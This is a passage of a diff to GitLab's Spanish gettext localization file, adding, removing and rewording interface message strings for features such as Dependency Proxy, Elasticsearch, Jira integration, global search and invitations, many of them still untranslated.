+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr "Zona horaria del Cron"
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr "Panel de control"
@@ -11026,6 +11225,9 @@ msgstr "Eliminar el comentario"
msgid "Delete Key"
msgstr "Eliminar clave"
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr "Eliminar comentario"
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr "Eliminar el archivo"
@@ -11101,9 +11306,6 @@ msgstr "Eliminar la lista de usuarios"
msgid "Delete variable"
msgstr "Eliminar variable"
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr "Se ha producido un error al eliminar el repositorio del proyecto. Por favor, inténtelo de nuevo o póngase en contacto con el administrador."
@@ -11149,6 +11351,12 @@ msgstr "Proyectos eliminados"
msgid "Deleted projects cannot be restored!"
msgstr "¡Los proyectos eliminados no se pueden recuperar!"
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr "Eliminando"
@@ -11266,6 +11474,9 @@ msgstr "Proxy de dependencias"
msgid "Dependency Scanning"
msgstr "Escaneo de dependencias"
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr "Despliegues"
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,8 +11979,8 @@ msgstr "Detectar las claves del host"
msgid "DevOps Adoption"
msgstr "Adopción DevOps"
-msgid "DevOps Report"
-msgstr "Informe DevOps"
+msgid "DevOps Reports"
+msgstr ""
msgid "DevOps adoption"
msgstr "Adopción DevOps"
@@ -12032,6 +12246,9 @@ msgstr "Nombre del directorio"
msgid "Disable"
msgstr "Deshabilitar"
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr "Deshabilitar la autenticación de doble factor"
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr "Dominio"
@@ -12289,9 +12509,6 @@ msgstr "Voto negativo"
msgid "Draft"
msgstr "Borrador"
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr "Fecha de vencimiento"
@@ -12403,9 +12623,15 @@ msgstr "Editar aplicación"
msgid "Edit comment"
msgstr "Editar comentario"
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr "Editar descripción"
@@ -12499,6 +12725,9 @@ msgstr "Restricciones en la indexación de Elasticsearch"
msgid "Elasticsearch indexing started"
msgstr "Comenzó la indexación de Elasticsearch"
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr "Elasticsearch ha devuelto el código de estado: %{status_code}"
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr "Ninguno. Seleccione los espacios de nombres a indexar."
@@ -12535,6 +12767,9 @@ msgstr "Notificación por correo electrónico"
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr "Enviar desde el committer"
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr "Habilitar verificación SSL"
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr "Habilitar el modo de mantenimiento"
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr "Habilitar o deshabilitar la recolección de datos con Pseudonymizer."
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr "Trabajo: %{job}"
msgid "EnvironmentsDashboard|More actions"
msgstr "Más acciones"
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr "Eliminar"
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr "El panel de control de entornos proporciona un resumen detallado del estado de los entornos de cada proyecto, incluidos los estados de alerta y de los pipelines."
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr "Ingrese un título para su épica"
-msgid "Epics|How can I solve this?"
-msgstr "¿Cómo puedo resolver esto?"
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr "Se ha producido un error al ordenar el elemento."
msgid "Epics|Something went wrong while removing issue from epic."
msgstr "Se ha producido un error al eliminar la incidencia de la tarea épica."
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr "Estas fechas afectan en como aparecen sus épicas en la hoja de ruta. Las fechas de los hitos provienen de los hitos asignados a las incidencias en su épica. También puede establecer fechas fijas o eliminarlas por completo."
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr "Extracto de la política:"
msgid "Exceptions"
msgstr "Excepciones"
-msgid "Excess storage"
-msgstr "Exceso de almacenamiento"
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr "Explorar proyectos"
msgid "Explore public groups"
msgstr "Explorar grupos públicos"
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr "Exportar"
@@ -14054,6 +14295,12 @@ msgstr "Etiqueta de clasificación"
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr "Cuando no existe ninguna etiqueta de clasificación se utilizará la etiqueta predeterminada `%{default_label}'."
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr "Se ha producido un error al obtener ref."
msgid "Failed to install."
msgstr "Se ha producido un error al instalar."
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr "Se ha producido un error al mover esta incidencia debido a que solo se p
msgid "Failed to move this issue because target project doesn't exist."
msgstr "Se ha producido un error al mover esta incidencia debido a que el proyecto de destino no existe."
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr "Se ha producido un erro al promocionar la etiqueta debido a un error interno. Por favor, póngase en contacto con los administradores."
@@ -14248,9 +14501,6 @@ msgstr "Se ha producido un error al proteger el entorno"
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr "Se ha producido un error al eliminar una reunión de Zoom"
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr "Filtrar por nombre del hito"
@@ -14786,15 +15039,6 @@ msgstr "Visto por primera vez"
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr "Fecha fija"
-
-msgid "Fixed due date"
-msgstr "Fecha de finalicación fija"
-
-msgid "Fixed start date"
-msgstr "Fecha de inicio fija"
-
msgid "Fixed:"
msgstr "Arreglado:"
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr "No se puede eliminar la entrada de seguimiento para un proyecto existente."
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr "No se puede eliminar la entrada de seguimiento para un proyecto existente."
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr "La entrada de seguimiento del proyecto (%{project_id}) se eliminó correctamente."
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr "La entrada de seguimiento de carga (%{type}/%{id}) se ha eliminado correctamente."
-
msgid "Geo|URL can't be blank"
msgstr "La URL no puede estar en blanco"
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr "GitLab commit"
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr "GitLab.com"
@@ -15875,6 +16125,51 @@ msgstr "Accesos directos globales"
msgid "Global notification settings"
msgstr "Configuración global de las notificaciones"
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr "Volver"
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr "Gravatar"
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr "Sólo puede transferir el grupo a un grupo que administre."
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr "Encabezado del mensaje"
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr "Hola %{username}!"
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr "Ocultar"
@@ -17199,7 +17524,7 @@ msgstr "Identificadores"
msgid "Identities"
msgstr "Identidades"
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr "SLA logrado"
msgid "IncidentManagement|All"
msgstr "Todo"
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr "Incluir el nombre del autor en el cuerpo del correo electrónico de noti
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr "Introduzca la descripción del merge request"
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr "Infraestructura"
msgid "Infrastructure Registry"
msgstr "Registro de infraestructura"
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr "Copiar comando de Terraform"
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr "Habilitar comentarios"
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr "Modo interactivo"
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr "Patrón de intervalo"
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,8 +19035,8 @@ msgstr "Nombre de usuario o contraseña no válidos"
msgid "Invalid period"
msgstr "Período no válido"
-msgid "Invalid pin code"
-msgstr "Código PIN inválido."
+msgid "Invalid pin code."
+msgstr ""
msgid "Invalid pod_name"
msgstr "Pod_name no válido"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure CI/CD"
-msgstr "Configurar CI/CD"
-
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr "Otro"
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr "Eventos de incidencia"
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr "Algunos de sus tableros están ocultos, active una licencia para verlos
msgid "IssueBoards|Switch board"
msgstr "Cambiar tablero"
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr "Gestor de incidencias personalizado"
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr "Incidencias"
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr "Las incidencias pueden ser errores, tareas o ideas para ser discutidas.
msgid "Issues closed"
msgstr "Incidencias cerradas"
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr "Título"
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr "Enero"
msgid "Japanese language support using"
msgstr "Soporte para japonés usando"
-msgid "Jira Issues"
-msgstr "Incidencias de Jira"
-
msgid "Jira display name"
msgstr "Nombre para mostrar Jira"
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr "Los eventos para %{noteable_model_name} están deshabilitados."
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr "URL del API de JIRA"
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr "Claves"
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr "Kroki"
@@ -20293,7 +20624,7 @@ msgstr "Obtenga más información sobre las plantillas de proyectos a nivel de g
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr "License Compliance"
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr "Detectado en proyecto"
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,15 +20945,15 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr "La lista de licencias detalla información acerca de las licencias utilizadas dentro de su proyecto."
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
+msgstr ""
+
msgid "Licenses|View license details for your project"
msgstr "Ver los detalles de la licencia para su proyecto"
msgid "Limit display of time tracking units to hours."
msgstr "Limitar la visualización de las unidades de seguimiento de tiempo a horas."
-msgid "Limit namespaces and projects that can be indexed"
-msgstr "Limitar los espacios de nombres y los proyectos que se pueden indexar"
-
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
msgstr ""
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr "MD5"
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr "Administrar todas las notificaciones"
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr "Administre aplicaciones que puedan utilizar GitLab como proveedor OAuth, y aplicaciones que haya autorizado para utilizar su cuenta."
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
